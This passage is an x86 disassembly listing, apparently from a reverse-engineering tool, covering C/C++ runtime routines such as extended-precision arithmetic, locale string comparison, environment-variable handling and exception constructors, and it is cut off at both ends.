[ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43C090 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_43C1F0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_48B444 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_48B664 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_48A044 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_48A300, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx call near ptr 2590000h nop test eax, eax jz short loc_42223A mov dword_48A300, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_43C824 push eax push edi push eax push ebx push ebx nop call near ptr 25905D6h test eax, eax jz loc_422453 mov dword_48A300, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_48A300 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25905D6h jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 2861185h nop test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2610000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2610000h test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2590000h jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_48A03C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_48A040 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_48A03C, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_48A044, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A03C, eax jz short loc_4224F6 mov [eax], edi cmp dword_48A044, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A044, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_48A03C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_48A03C, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 2580165h nop push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_48A03C push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_48A03C sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_48A03C sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_48B45C, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_48B561[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop 